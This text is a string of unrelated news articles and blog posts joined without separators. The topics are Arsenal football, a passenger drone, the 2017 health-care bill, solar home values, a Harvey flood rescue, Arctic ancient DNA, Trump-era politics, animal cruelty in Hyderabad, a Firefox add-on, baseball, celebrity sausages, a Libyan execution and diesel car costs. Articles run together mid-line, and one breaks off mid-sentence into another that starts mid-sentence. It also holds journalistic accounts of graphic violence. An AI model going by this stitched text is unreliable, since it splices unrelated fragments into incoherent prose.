Getty 13/13 Alexis Sanchez: 8 More of a threat in the second half as he started to cut in from the left. Roamed all over Arsenal’s attack. He should have scored when he was one-on-one with Green. Redeemed himself when he doubled his side’s lead on 70 minutes after skillful play. Getty
That was the way for years after the era of Patrick Vieira. I know it has been said before, but I see no leaders in the current Arsenal team. The club have been spoiled with them in the past, the likes of Tony Adams, Lee Dixon, Steve Bould, Vieira, Emmanuel Petit. Now they just do not have the same kind of players who can take control of a game or a situation.
It has been said that Arsenal have been better this year, but they still seem to be liable to crumble against a good opponent who is much more focused, as Monaco were last week. Over the years, the big players who were really ambitious – Vieira, Thierry Henry, Cesc Fabregas, Robin van Persie – have all left. They left for the simple reason that Arsenal are not in it to win league titles any more.
Those players have realised that if they want to win championships then they have to move elsewhere. It’s why I think Mesut Özil took the easy option joining Arsenal. Since he has been there you cannot doubt his quality but at times he looks like he is going through the motions, however much ground he covers. He needs a leader around him to get him going. At Real Madrid he had a chance of winning league titles. At Arsenal that is not on the cards.
It is hard when you have a recent history as successful as Arsenal were under Arsène Wenger in his first 10 years at the club. Hard in that you will always be compared to great teams of the past – as the current United team are just finding out now. My issue with Arsenal is that I don’t think they are striving to be like the great teams of theirs who used to battle us for the league title. They seem happy to finish fourth every year.A revolutionary drone aircraft, big enough to carry people, could be whizzing through the skies within a few years, Reuters reported on Tuesday.
Manufacturers of the Cormorant, formerly known as the AirMule, hope to see what has been dubbed a “flying car” on the aviation market by 2020.
The UAV has been in development for 15 years by Yavneh-based Urban Aeronautics, who envision it being used as an air ambulance for tricky rescue missions in tight urban environments or for moving troops around the battlefield.
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Weighing in at 1.5 tons, the drone can carry a payload of up to 500 kg (1,100 pounds), uses internal rotors to keep itself aloft and can zoom along at 185 kilometers an hour (115 miles per hour). It can be remotely piloted or set to fly autonomously.
A first solo flight was made in November and, despite some minor glitches, the company considered the sortie a success. It is now aiming to see the Cormorant meet safety and other standards of the US Federal Aviation Administration, an achievement that would open up global markets for the vehicle.
Speaking to Reuters, Urban Aeronautics founder and CEO Rafi Yoeli said, “Just imagine a dirty bomb in a city and chemical substances of something else and this vehicle can come in robotically, remotely piloted, come into a street and decontaminate an area.”
The company claims the stocky, box-like flying machine has an advantage over helicopters: its internal blades make it safer to fly between buildings and beneath power lines.Getty Images/Pool Even after bringing conservative Republicans on board with the revised American Health Care Act, Republican leadership was unable to garner enough support to bring the bill to the floor this week.
An amendment released Tuesday night, written by moderate Rep. Tom MacArthur, appeared to placate conservatives who did not think the original bill went far enough in its repeal of Obamacare, the law formally known as the Affordable Care Act.
But pushback from moderates seems to have stalled the bill.
After the amendment was released, the White House pushed for a vote on Friday or Saturday, making a last-minute play for a signature legislative win in President Donald Trump's first 100 days, but House leadership on Thursday night said a vote would not happen until next week at the earliest.
New provisions would allow states to apply for a waiver that would exempt their insurance markets from certain regulations created by Obamacare if they could prove it would lower costs.
Health-policy experts say the waiver could have negative consequences for people with preexisting conditions and allow insurers to offer plans that cover fewer health needs.
(Read more about the amendment »)
The tweak was enough to get the conservative House Freedom Caucus officially on board with the bill, which could mean support from about 20 representatives who opposed the original AHCA.
But the amendment may have alienated more moderate members of the Republican caucus and could leave the AHCA short of the votes it needs to pass. Up to 22 Republicans can vote against the bill for it to pass through the GOP-controlled chamber.
House Majority Leader Kevin McCarthy told reporters on Thursday night that a vote would not happen Friday or Saturday.
"We've been educating people on healthcare," McCarthy said. "It's not tomorrow. I never said it was going to be tomorrow.... We are not voting on healthcare tomorrow."
MacArthur, a co-chair of the moderate Tuesday Group, told reporters earlier on Thursday that the Republican conference did not have enough votes.
Members of the House GOP conference who originally said they would vote "yes" have now expressed doubts about the amendment. Rep. Mario Diaz-Balart on Thursday said there were "a lot of red flags" in the legislation and that he was undecided. He was a "yes" on the first version of the AHCA.
According to HuffPost congressional reporter Matt Fuller's count, 17 Republicans are against the bill, 10 are leaning "no," and 11 are undecided.
Also complicating a vote on the bill was Democrats' insistence that they would oppose a funding bill to avoid a government shutdown if the GOP brought the AHCA to the floor at the same time.
The White House had sought to apply pressure ahead of Trump's 100th day in office, on Saturday. Mick Mulvaney, the director of the Office of and Management and Budget, told CNBC on Thursday that he was "still holding out" for a vote on Saturday.
House Speaker Paul Ryan has repeatedly said leadership would not bring the legislation to the floor until "we have the votes."
Passing the AHCA through the House would represent a significant hurdle cleared, but it would also lead to new challenges.
Several Republican senators have expressed doubts about the AHCA. And since Republicans are attempting to move the bill through the budget reconciliation process, it could be blocked in the Senate because of a rule that prevents such bills from containing measures that don't directly affect the federal budget.For years, we’ve been talking about how much solar panels increase the value of your home. We use a simple calculation to determine the increase in value: We add the energy savings you’ll see per year for 20 years. Well, it looks like we’re not just blowing solar smoke; study after study after study comparing sales of solar and non-solar houses show clearly that homes—even near-identical homes in the same community—sell for more with solar. But we know you don’t want to read a 200-page PDF to find out, so we’ve collected some of the most important information below.
In California, way back in the medieval times of 2001, the National Renewable Energy Laboratory began looking at what they called “high-performance” or “zero energy” homes, and compared them to similar homes without solar installed. The researchers followed the life of the homes for 5 years, from building to resale, and what they found is great news for anyone who wants to go solar: people who owned homes with solar panels were happier living in them, and they experienced the promised energy savings. Better yet, when the owners of solar homes sold them, they made 14% more money, in this case, that’s over $43,500 more.
But wait, I can almost hear all you smart people saying “that was before the housing bubble burst! Those numbers can’t be right anymore!” Well, I’m here to tell you that they’re nearly as good today. Researchers responsible for the most recent study out of California concluded that “each 1-kW increase in size equates to a $5,911 higher Premium,” meaning that homes with a 5-kW installation (the size on which we always base our estimates) sell for a price almost $30,000 higher than a similar home without solar.
And that value is shown to remain even years into the solar panels’ usable life span. A Colorado study from 2013 that compared numerous sales of solar and non-solar homes from around the state showed price premiums of between $1,100 and $3,920 per kW for systems that were between 3 and 5 years old. We’re still talking between $6,000 and $20,000 more for solar homes, even in snowy Colorado.
The bottom line with home value increase is that, should you decide to sell, you can be sure to recoup your investment in solar, even if your system hasn’t paid for itself yet. Just another way that solar is a safe bet. And the best solar states recognize that value and provide property tax exemptions for the added value as an incentive to homeowners who install panels.
With all this good news, why not get a free quote from one of our trusted partner installers in your area?
EDIT: As redditor champyonfiyah points out…
from the linked through study (pdf link)… From the summary, page 293. Of the 30 case studies: None of the homes were sold for less because they had a PV system.
Twenty‐one homes sold for higher because they had a PV system. Of the properties where PV contributed positively to their value: The LOW value indication per kW ranged (excluding the one $300 per kW indicator as it had extenuating circumstances) from $1,450 to $2,570.
The HIGH value indication per KW ranged (again, excluding the $300 per kW indicator) from $1,620 to $2,570.
Thus, the LOW and HIGH value indications are in the same general value range. With regard to the marketability of the properties with PV systems: Four had longer marketing times because they had PV systems.
Twenty four properties had much lower marketing times as compared to the average days-on-market for their areaSeniors in Flooded Texas Nursing Home Rescued After Horrifying Photo Goes Viral
A photo posted to Twitter Sunday of several elderly patients at La Vita Bella assisted-living facility in Dickinson, Texas trapped in waist deep water from flooding due to Hurricane Harvey went viral, prompting an effort that rescued fifteen residents within hours of the photo being posted.
The photo was posted to Twitter by Timothy McIntosh. McIntosh’s wife Kimberly told the Daily News of Galveston County the assisted-living facility is owned by her mother who sent the picture to them “at 9 a.m. this morning.”
McIntosh, who stated on Twitter he is Florida, posted the photo several times with messages including, “La vita Bella nursing home in Dickinson Texas is almost underwater with nursing home patients” and “Need help asap emergency services please RETWEET”. The photo was first posted at 9:57 a.m. EDT. The seniors were rescued in three hours after that with McIntosh announcing the rescue at 1:11 p.m. EDT.
https://twitter.com/DividendsMGR/status/901805509950541825
Excerpt of the Daily News report:
Fifteen senior citizens were evacuated from the La Vita Bella nursing home in Dickinson, David Popoff, the city’s emergency management coordinator confirmed on Sunday afternoon. A picture of the residents sitting in waist-deep water went viral on Twitter on Sunday. Poppoff said the residents were rescued by helicopter. “We were air-lifting grandmothers and grandfathers,” Popoff said.”
McIntosh posted updates on Sunday tracking the rescue effort.
https://twitter.com/DividendsMGR/status/901842175264161792
https://twitter.com/DividendsMGR/status/901845124795289600
https://twitter.com/DividendsMGR/status/901847227378917377
https://twitter.com/DividendsMGR/status/901854734109331456
Dickinson is located midway between Houston and Galveston on I-45 in Galveston County.
The condition of the patients who were rescued after spending hours in flood waters has not readily available.
You've likely seen and shared this #HurricaneHarvey flooded nursing home picture. Now hear the story behind it. #Houston #HoustonFlood pic.twitter.com/G4swwZ3bVh — Austin Kellerman (@AustinKellerman) August 27, 2017
UPDATE with audio interview of the daughter of the owner of La Vida Bella.Ancient human DNA is shedding light on the peopling of the Arctic region of the Americas, revealing that the first people there did not leave any genetic descendants in the New World, unlike previously thought.
The study's researchers suggest the first group of people in the New World Arctic may have lived in near-isolation for more than 4,000 years because of a mindset that eschewed adopting new ideas. It remains a mystery why they ultimately died off, they added.
The first people in the Arctic of the Americas may have arrived about 6,000 years ago, crossing the Bering Strait from Siberia. The area was the last region of the New World that humans populated due to its harsh and frigid nature.
But the details of how the New World Arctic was peopled remain a mystery because the region's vast size and remoteness make it difficult to conduct research there. For example, it was unclear whether the Inuit people living there today and the cultures that preceded them were genetically the same people, or independent groups.
The scientists analyzed DNA from bone, teeth and hair samples collected from the remains of 169 ancient humans from Arctic Siberia, Alaska, Canada and Greenland. They also sequenced the complete genomes of seven modern-day people from the region for comparison.
Previous research suggested people in the New World Arctic could be divided into two distinct groups — the Paleo-Eskimos, who showed up first, and the Neo-Eskimos, who got there nearly 4,000 years later.
SEE ALSO: Life in the Arctic region of the Americas (Photos)
The early Paleo-Eskimo people include the Pre-Dorset and Saqqaq cultures, who mostly hunted reindeer and musk ox. When a particularly cold period began about 800 B.C., the Late Paleo-Eskimo people known as the Dorset culture emerged. The Dorset people had a more marine lifestyle, involving whaling and seal hunting. Their culture is divided into three phases, altogether lasting about 2,100 years.
"One may almost say kind of jokingly or informally that the Dorsets were the hobbits of the Eastern Arctic, a very strange and very conservative people that we are just now getting to know a little bit," said study co-author William Fitzhugh, an anthropologist at the Smithsonian Institution's National Museum of Natural History in Washington, D.C.
The Dorset culture ended sometime between 1150 and 1350 A.D., getting rapidly replaced after the sudden appearance of Neo-Eskimo whale-hunters known as the Thule culture. These newcomers from the Bering Strait region brought new technology from Asia, including complex weapons such as sinew-backed bows and more effective means of transportation such as dog sleds. The Thule "pioneered the hunting of large whales for the first time ever in, I guess, maybe anywhere in the world," Fitzhugh said.
Modern Inuit cultures emerged from the Thule during the decline of whaling near the end of the period known as the Little Ice Age, which lasted from the 16th to 19th century. This ultimately led the Inuit to adopt the hunting of walruses at the edges of ice packs and the hunting of seals at their breathing holes.
Previous studies hinted that some modern Native Americans, such as the Athabascans in northwestern North America, might be descended from the Paleo-Eskimos. However, these findings now quash that idea. "The results of this paper have a bearing not just on the peopling of the Arctic, but also the peopling of the Americas," lead study author Maanasa Raghavan, a molecular biologist at the University of Copenhagen's National Museum of Natural History in Denmark, told Live Science.
The new findings suggest the Paleo-Eskimos apparently survived in near-isolation for more than 4,000 years. The arrival of Paleo-Eskimos into the Americas was its own independent migration event, with Paleo-Eskimos genetically distinct from both the Neo-Eskimos and modern Native Americans.
"I was actually surprised that we don't find any evidence of mixture between Native Americans and Paleo-Eskimos,"
said study co-author Eske Willerslev, an evolutionary geneticist also at the University of Copenhagen's National Museum of Natural History. "In other studies, when we see people meeting each other, they might be fighting each other, but normally they actually also have sex with each other, but that doesn't seem to really have been the case here. They must have been coexisting for thousands of years, so at least from a genetic point of view, the lack of mixture between those two groups was a bit surprising."
The reason the Paleo-Eskimos may not have mixed with the Neo-Eskimos or the ancestors of modern Native Americans was "because they had such an entirely different mindset," Fitzhugh said. "Their religions were completely different, their resources and their technologies were different. When you have people who are so close to nature as the Paleo-Eskimos had to be to survive, they had to be extremely careful about maintaining good relationships with the animals, and that meant not polluting the relationship by introducing new ideas, new rituals, new materials and so forth."
The researchers did find evidence of gene flow between Paleo-Eskimos and Neo-Eskimos. However, this likely occurred before the groups migrated to the New World, back in Siberia, among the common ancestors of both lineages. The new evidence suggests that in the American Arctic, the two groups largely stayed separate.
In addition, while differences in the artifacts and architecture of the Pre-Dorset and Dorset had led previous studies to suggest they had different ancestral populations, these new findings suggest the Early and Late Paleo-Eskimos did share a common ancestral group. "The pre-Dorset people, the Dorset ancestors, seemed to have morphed into Dorset culture," Fitzhugh told Live Science.
One mystery these findings help solve is the origin of the Sadlermiut people, who survived until the beginning of the 20th century in the region near Canada's Hudson Bay, until the last of them perished from a disease introduced by whalers. The Sadlermiut avoided interaction with everyone outside their own society, and according to their Inuit neighbors, the Sadlermiut spoke a strange dialect, were bad at skills the Inuit considered vital, such as constructing igloos and tending oil lamps, were unclean, and did not observe standard Inuit taboos, all of which suggested that the Sadlermiut were descended from Paleo-Eskimos instead of Neo-Eskimos.
However, these new findings revealed the Sadlermiut showed evidence of only Inuit ancestry. Their cultural differences from other Inuit may have been the result of their isolation.
It remains a mystery why the Dorset people ultimately died off. Previous studies suggested the Dorset were absorbed by the expanding Thule population — and the Thule did adopt Dorset harpoon types, soapstone lamps and pots, and snow houses. However, these new findings do not find evidence of interbreeding between the groups.
One possibility is that the rise of the Thule represented "an example of prehistoric genocide," Fitzhugh said. "The lack of significant genetic mixing might make it appear so." However, Thule legends of the Dorset "tell only of friendly relations with a race of gentle giants," Fitzhugh added.
Another possibility is that diseases introduced by Vikings or the Thule may have triggered the collapse of the Dorset, Fitzhugh said. However, "if it's disease, then you'd expect to find dead bodies of Dorset people in their houses, and that's never been found," Fitzhugh said.
SEE ALSO: Fierce Fighters: 7 Secrets of Viking Seamen
To help solve this and other remaining mysteries about the peopling of the New World Arctic, the researchers plan to look at more ancient human remains in both the Americas and Asia. The scientists detailed their findings in the Aug. 29 issue of the journal Science.
This article originally published at LiveScience hereKrauthammer: Steve Bannon Got 'Scaramucci-ed'
'I Knew The Original Nazis': Arnold Tells Trump to Fully Reject White Supremacists
Charles Krauthammer said he stands by his observation that outgoing White House strategist Stephen Bannon got "Scaramucci-ed."
He said Bannon's White House departure followed that of Anthony Scaramucci - attacking fellow staffers in a conversation with a left-wing news outlet.
"I'm committed to the 'Scaramucci-ed' explanation," he said.
"You can give me all these other explanations - you can say Kelly wanted to clean house," he said.
"The fact is [Bannon] gave this interview to the American Prospect after which you cannot work in the White House," Krauthammer continued.
He called the interview a "machine gun attack on everyone else in the White House."
Krauthammer added that Bannon may be the last of the self-described "populist, nationalist wing" of Trump's counselors.
"They won the battle," Krauthammer said of the globalists in the West Wing.
Shapiro: Bannon Will Return to Breitbart, 'Smash' Trump When He Disagrees
'Take a Sledgehammer to It': 2 Bill Clinton Accusers Want SD Statue to Come DownOn Saturday, GOP candidate Donald Trump tweeted an image that has been widely condemned as anti-Semitic — an image of Hillary Clinton and a Star of David, with $100 bills in the background.
Trump’s team had mined the image from a racist and anti-Semitic message board, Mic reported. A watermark on the image lead to a Twitter account known for violent, racist memes. Trump deleted the tweet and has been trying to fend off criticism by saying it was not a Star of David in the image.
Dishonest media is trying their absolute best to depict a star in a tweet as the Star of David rather than a Sheriff’s Star, or plain star! — Donald J. Trump (@realDonaldTrump) July 4, 2016
Social media users were not amused by Trump’s explanation.
Cheeto Hitler is on you @GOP. You’re carrying this monster to term. https://t.co/zwrU3EkxqQ
— Mike Monteiro (@monteiro) July 4, 2016
Whether they support Trump or not there isn’t a single Jew on Earth who saw that Star of David and thought “that’s just a sherriff’ star.” — OhNoSheTwitnt (@OhNoSheTwitnt) July 4, 2016
Remember when Hitler made six million Jewish sheriffs? Oh wait. He didn’t? He killed them instead. — (((Harry Enten))) (@ForecasterEnten) July 4, 2016
*Trump starts drooling on himself* “I was just saying Hillary is a big star like Omar Sharif” *farts* — Ryan K Lindsay (@ryanklindsay) July 4, 2016
If this is true then why did the Trump campaign delete the image and change the star to a circle? https://t.co/4RmDi2FnPd — Sarah Burris (@SarahBurris) July 4, 2016
57% of hate crimes are against Jews, which explains @realDonaldTrump tweeting a racist-created image. No accident. https://t.co/orYt8uWJI4 — Sheryl Canter (@sheryl_canter) July 4, 2016Videos showed a dog being shot, and three puppies being burnt alive in Hyderabad.
Highlights Video shows boys burning 3 puppies Another video showed a man shooting a dog with a rifle A case has been filed by animal activists in Hyderabad
In Hyderabad, two videos have emerged of dogs being killed in most cruel ways.One of the videos has been filmed by boys who set three puppies on fire after tying them together and covering them with hay, dry grass and twigs. The puppies are heard squealing in terror.One of the pups is seen trying to wriggle out of the burning pile. The boy filming the video is heard egging his friends on.A case has been filed by animal activists Shreya Paropkari and Jayasimha Nuggehalli."We received a complaint yesterday on this incident and went to the police," Shreya told NDTV.In their complaint, Shreya said that the boys "gathered flammable material and burnt the puppies alive and killed them. One of the perpetrators recorded the entire incident and is heard instructing and instigating the other culprits to set fire."Police said they have registered a case. "We have started investigating. It is a very sad incident. We will definitely ensure the culprits are punished for such a horrendous act," Ravi Kumar Reddy, a police officer, said."We must conduct a psychiatric test on these juveniles to understand their backgrounds, as more often than not, most juveniles who abuse animals, later tend to abuse humans," said Jayasimha Nuggehalli, the Country Director of Humane Society International.In the second video, said to have been taken at the Nampally area, a man is seen taking aim at
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pack like Zulu, Gaelic or Malayalam in the browser.
Dictionaries and language packs are installed on the language tools page over at Mozilla. They are managed in the browser's add-ons manager where you can enable, disable or remove them at any time.
Extensions are available to improve the handling of language packs in Firefox, and Language Manager is one of them.
The free add-on for the web browser allows you to install, uninstall, enable and disable language packs comfortably.
Note: It is only compatible with Firefox and Firefox Beta, but not with Developer and Nightly versions of the browser.
Open the menu of the extension with a tap on the Alt-key and the selection of Tools > Language Manager. Use the select language menu to install new language packs in the browser. You can repeat the installation process for as many languages as you like and need to select finished in the end to finalize the installation.
This restarts Firefox and will make the last language selected the interface language. You can switch between languages with a double-click on one of the installed languages. Note that this requires a restart as well.
Languages are listed with their version, installation data and whether they are enabled and compatible.
A click on the options button opens a new menu that you can use to reset the language of the browser. This can be useful if things went wrong and you need to restore the default language without resetting the browser as a whole.
It is not possible to remove languages using the add-on. If you have installed a language pack that you want to remove again you need to use the add-ons manager to do so.
Language Manager improves the language pack installation process in Firefox as you can do so more easily using it. It lacks options to remove language packs again on the other hand and is not compatible with Dev and Nightly versions of Firefox.
Summary Author Rating no rating based on 0 votes Software Name Language Manager Landing Page https://addons.mozilla.org/en-US/firefox/addon/language-manager/
AdvertisementI understand, as a nation, we are....having a rough time.
No, really, it's an ordeal, people. The air literally smells like fear, and the anger is bleeding from everyone's eyes. It's painful.
I'm going to invite you to step away from all the news articles, juvenile memes, political mud-slinging, fear-tactic headlines, and bull shit you are inundated with every day; and take a minute to perceive everything that's happening right now...neutrally. Drop your personal beliefs for just a moment, and observe.
When I separate from the pack to get a big picture view of what's happening, I feel like I'm a schoolyard recess attendant. The name calling, closed-mindedness, pompousness, and unjustifiable self confidence born of deep-seeded insecurity and fear- it smells like teen spirit...
I don't wish to appear judgmental! This is simply what I see happening, and what it reminds me of.
Contrary to popular belief, this behavior isn't unique to one side or the other.
Oh, see the reaction you just had to that statement? "(Disapproving sigh) No, it's just the Right", or, "(Chuckle) No, the snowflake Leftists are the one's out of control." I have the pleasure of sharing space with almost equal parts Right and Left. My family is largely Right, my friends are largely Left. All day, every day I watch the reactionary outbursts of both sides; and after about a year of watching this political nightmare unfold, I can assure you: both sides are equally antagonistic. Everyone believes the propaganda their side feeds them, almost no one is fact-checking, and virtually no one is willing to accept another point of view. Even now, you may find it IMPOSSIBLE to accept your actions could be mirroring those who "oppose" you. You may have even gotten so far as to justify your mistreatment of others, because they're "doing the wrong thing".
We are stuck in these biological meat vehicles, fully equipped with mind-altering hormones that flood our system when we encounter stress. This stress, unless managed, learns to override our bodies. All of a sudden we become unreasonable, angry, hateful, sleepless, and blind to ourselves. Stress makes it all to easy for us to justify lashing out at people and being hateful. We forget it is possible to find common ground with anyone, and that we are all only human. When everyone is fighting against one another, it becomes increasingly difficult to create compromise. Sometimes, compromise is the only solution. No one heals themselves, or fixes a problem, by hurting another person. It's been a stressful year, everyone; but if we don't decompress soon, we're liable to explode and destroy ourselves.The baby boomer generation, already bumped to second place in numbers by the millenial generation, looks soon to drop to third place behind "Generation Z,"reports.The boomer generation, which dominated America for decades until the middle of 2015, is set to be bumped down another spot through the rise of children who were born after the 21st century began and who grew up during the period following the 9/11 attacks.That segment, called "Generation Z" by some analysts, in the next few years is expected to overtake the baby boomer generation's second-place spot. Millenials represent people born in the 1980s and '90s.Baby boomers represent the huge numbers of births following the end of World War II, between 1946 and 1964, according to the U.S. Census Bureau, and their sheer numbers mean they dominated most of America's culture and politics for years. However, as the post-war generation became older, the number of millennials grew, and as of July 1, 2015, the most common age among Americans was 24, with 25-and 23-year-olds closely following.But the numbers of millennials and Generation Z people grew past the baby boomer generation because of more births and immigration, not by baby boomers dying off,.But baby boomers are expected to dominate the nation's wealth and spending for years to come. Also, voter turnout rises with age, so aging baby boomers will continue to be dominant in politics for decades more, the Journal notes.There are no official start and end dates for generations born in years other than the baby boomer decades, according to the Census Bureau, but the Pew Research Center considers those who were born before 1928 and young adults during World War II to be the "Greatest Generation."Meanwhile, the "Silent Generation" was born from 1928 to 1945 and were children during the Great Depression and World War II. "Generation X" came between 1965 and 1980, followed by millennials.As expected, the Yankees beat the Twins in the AL Wild Card game last night. Unexpectedly, they won by asking four relievers to get 26 outs after Luis Severino couldn’t get out of the first inning. And in that victory, it was essentially impossible to not notice the difference in power between the two clubs.
Aaron Judge is the game’s most powerful player, so New York always has some kind of lead when it comes to raw strength, but this team isn’t defined just by their hulking right fielder. This Yankees team is built around power everywhere.
Brett Gardner, who came up as as speed-and-defense specialist, hit a home run into the second deck in right field. Didi Gregorius, who the team acquired as a fielding-first shortstop, launched a three run bomb of his own to tie the game after Severino put them in a hole. And Judge, of course, did Aaron Judge things to the baseball. Six of the Yankees eight runs scored on the long ball.
But the team’s primary display of power came on the mound. After Severino — the starter with the highest average fastball velocity this season — got chased in the first inning, Joe Girardi turned to Chad Green to shut the door on the Twins and keep the game close. And Green did exactly that, striking out the first four batters he faced, showing why he had become one of the team’s most trusted bullpen arms.
When Green ran into trouble in the third inning, in came David Robertson, who then struck out 5 of the 13 batters he faced in his longest career relief outing. Tommy Kahnle then came in to get seven outs himself before Aroldis Chapman finished the game by striking out the side. In total, the four Yankee relievers struck out 13 of the 33 batters they faced, a nifty little 40% strikeout rate.
And they did it with overwhelming velocity. The Yankees threw 171 pitches in last night’s game, and Statcast had the average velocity of all their pitches at 93.1 mph. That isn’t their fastball velocity; that includes every breaking ball and off-speed pitch they threw.
If we exclude all the bendy pitches, the average velocity of a Yankee fastball last night was 97.1 mph. The Twins didn’t throw a single fastball that hard all night. The 60 pitches with the most velocity thrown last night were all thrown by the Yankees.
This is a pitching staff unlike we’ve ever seen before. There’s more velocity than there has ever been in baseball, of course, so even the Twins throw harder than most teams in prior years, but no one has ever stacked this kind of velocity in their bullpen and forced their opponents to confront a never-ending string of power arms.
They won’t be able to do this every game. Given that Green, Robertson, and Kahnle faced 29 hitters between them, all three might unavailable in the first game of the ALDS against Cleveland. And no one else in the rotation throws as hard as Severino, so their velocity will tone down just due to the nature of changing starters.
But if Robertson needs a night off, that just means the team will have to see how Dellin Betances‘ command is doing. Betances’ average fastball this year was 99 mph, and he’s been one of the game’s elite relievers for a few years now, but the team’s absurd depth of arms gives them the luxury of using Betances in relatively lower leverage situations until they see him show off better command that he’s had of late. Betances, an established elite reliever with his own top-shelf velocity, is now something like the fifth guy on Joe Girardi’s reliever depth chart.
The Twins gave it their best shot, but they just didn’t have the arms the Yankees have. When Ervin Santana got chased from the game, they had to piece the other seven innings together with guys who throw regular-hard, not extra-super-hard like the Yankees had. And in the end, the Twins were just never going to win a bullpen battle with New York.
The Indians might be able to, since they have their own crazy deep collection of guys who can dominate. And the rest of their team is strong enough that they might not need to get into a bullpen battle at all. Especially because they taxed their best four relievers in the Wild Card game, the Yankees shouldn’t assume they’ll be able to repeat last night’s performance in the division series.
But it felt impossible to watch last night’s game and not see the Yankees as an imposing threat to everyone they face. They’re the most powerful team we’ve ever seen, and last night, they just overpowered their opponents. It probably won’t be the last time they do that this October.Game over; throw in the towel. All other sausage companies are rendered obsolete because Vienna Beef just locked up Mike Ditka to sell some of their delicious sausages.
Next Impulse Sports reports those Ditka sausages you have been waiting your whole life for will hit the Chicago area. For safety's sake, just make sure you chew thoroughly before shouting, "Da Beaaaars!"
Here is what the legendary former coach had to say in a news release, via Next Impulse Sports.
"These sausages embody Chicago," Ditka said. "The tradition, the teams, the fans, the big appetites, Chicago deserves a monster sausage they can be proud of."
This is the perfect marriage between personality and product. Michael Jordan sold shoes and Ditka was born to be the face and name of some 8-inch sausages that weigh a third of a pound.
In case you were wondering, the report states Vienna Beef is releasing a hot beef polish sausage and a chicken sausage with mozzarella and sun-dried tomatoes in honor of Coach.
For more information, you can head on over to Ditka Sausages' Twitter feed that is more of a pop culture homage to the beloved Ditka than anything else, and here is but a taste.
Ditka dominating as always:
ESPN's Bill Hofheimer delivers the unfortunate side of a great story: There is a new sausage king of Chicago.
Because we will always post a Ferris Bueller clip when warranted, here is the requisite scene from the classic movie:
Obviously, the moment you hear Ditka is getting his own sausages, you think of the classic Saturday Night Live skits. OK, the first thing you think of is mustard, sauerkraut and one of these bad boys.
The second thing might be the skits. Well, Vienna Beef is well aware.
Even Anders Holm from Workaholics is all-in on the baddest brats in the business.
Essentially, the entire sports world should really treat this like a holiday. The only thing that doesn't make sense about this story is how long it took for someone to make Ditka-themed sausages.
The world finally makes sense again.
Hit me up on Twitter:
Follow @gabezalA shocking video showing an execution-style killing by an armed group at a football stadium in eastern Libya highlights the authorities’ failure to prevent parts of the country from descending into violence and lawlessness, Amnesty International said today. An amateur video published on social media sites shows the purported execution of an Egyptian man apparently organized by an armed group called the Shura Council of Islamic Youth in the eastern city of Derna.“This unlawful killing realizes the greatest fears of ordinary Libyans, who in parts of the country find themselves caught between ruthless armed groups and a failed state,” said Hassiba Hadj Sahraoui, Amnesty International’s Middle East and North Africa Deputy Director.“Such acts can only lead to further human rights abuses in Derna, where residents have no recourse to state institutions and therefore no means to seek justice or effective protection from abuses. “The Libyan authorities, with the support of the international community, must urgently address the breakdown of law and order that has persisted in Derna and elsewhere following the end of Colonel al-Gaddafi’s rule.”The video posted online shows the Egyptian victim, Mohamed Ahmed Mohamed, being brought blindfolded into the football ground in a pick-up truck. Masked men armed with rifles then force him to kneel on a stretcher.A statement read out prior to the killing accuses him of stabbing to death a Libyan man, Khalid al-Dirsi. It is stated that he admitted to murder and theft during interrogation by the Legitimate Committee for Dispute Resolution, a body apparently operating under the authority of the Shura Council of Islamic Youth.It is stated that the Committee ruled he is to be “executed” unless pardoned by the family of the victim. It appears from the video that the family refuses to grant pardon.An unmasked man wearing plain clothes, believed to be the brother of Khalid al-Dirsi, is then given a handgun. He is seen shooting Mohamed Ahmed Mohamed from behind, possibly in the head or neck. Amnesty International has also reviewed photographs of the incident posted on social media that show a large crowd of people watching the killing from the stadium’s benches.Amnesty International has confirmed with sources in Derna that the killing did take place on 19 August on the outskirts of the city. “This was an unlawful act of brutal revenge, not justice,” said Hassiba Hadj Sahraoui.“The Libyan authorities must do everything in their power to restore state institutions and the rule of law in Derna and elsewhere in the country.”The state has failed to assert its control of Derna since the end of Libya’s 2011 conflict. There has been no police or army presence since then, while the Derna Court of Appeals has been suspended since June 2013 following the assassination of a senior judge, amid repeated threats to judges by armed groups. Members of the judiciary have refused to report to work unless the state provides the necessary protection and security, which it has continuously failed to do. The security vacuum was exploited by various armed groups, including Ansar al-Sharia, which effectively controls the city.Over the past two years security officials, politicians, religious figures and judges have been victims of targeted killings in Derna. These crimes have yet to be fully investigated. Numerous Islamist armed groups operating in the city appear to have taken advantage of the breakdown of the rule of law to assert their control in an apparent attempt to enforce their own interpretation of Islamic law (shari’a).Execution-style killings, such as the one depicted in the video, contravene the fundamental principles of humanity enshrined in international humanitarian law.By Carnegie Mellon University | January 27, 2011
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A new Carnegie Mellon University study, released today at the Washington Auto Show, reveals that despite the sticker shock associated with diesel-engine vehicles, they are a better value compared to vehicles with gasoline engines because of their lower operating costs and higher resale value over time.
The study, by researchers at CMU's Tepper School of Business and underwritten by Bosch, noted diesel's better fuel efficiency and a residual value up to 30 percent higher than traditional port-fuel injection (PFI) gasoline-powered vehicles.
"It's been generally known that diesel vehicles typically post lower operating costs because of their increased fuel economy," said Lester Lave, university Professor and Higgins professor of economics at the Tepper business school. "But that's only one element of the equation. Our study considered a vehicle's initial price and resale value along with other operating and maintenance costs."
The study, titled, "Comparing Resale Prices and Total Cost of Ownership for Gasoline, Hybrid and Diesel Passenger Cars and Trucks," also found that the price differential between a clean diesel passenger car and a traditional PFI gasoline-powered vehicle could be recouped in less than 18 months of driving. In addition, clean diesels deliver on average of 30 percent better fuel economy than their gasoline counterparts. All of this translates into savings for the consumer, Lave said.
For their study, Lave and his researchers used auction data from Manheim Auctions, a wholesale vehicle operator and Cox Enterprises, Inc., to evaluate the actual resale values of diesel and gasoline vehicles. The team then compared resale values with the total cost of owning and operating diesel- and gasoline-fueled passenger cars and light-duty trucks.
Lave pointed out that Bosch, which manufactures clean diesel fuel injection systems for passenger cars, light-duty trucks and commercial vehicles, underwrote the cost of the study because they wanted real-world independent research conducted in this area.
"This study is unique because it compares actual auction prices of alternative power trains such as clean diesel and (PFI) gasoline engines," said Lars Ullrich, director of marketing for Bosch Diesel Systems North America. "As past studies only highlighted projected costs from resale values, this research provides a more robust set of data to support the conclusion that clean diesel vehicles provide a comparatively lower cost of ownership.
"Bosch remains committed to the potential we see in the U.S. and international diesel markets, and by using this third-party research data, it reaffirms the benefits of clean diesel," Ullrich added.
Among other findings, the study concludes that:
For passenger cars, the Volkswagen clean diesel technology vehicles and the Toyota Prius retain a greater percentage of their initial purchase price than conventional gasoline vehicles;
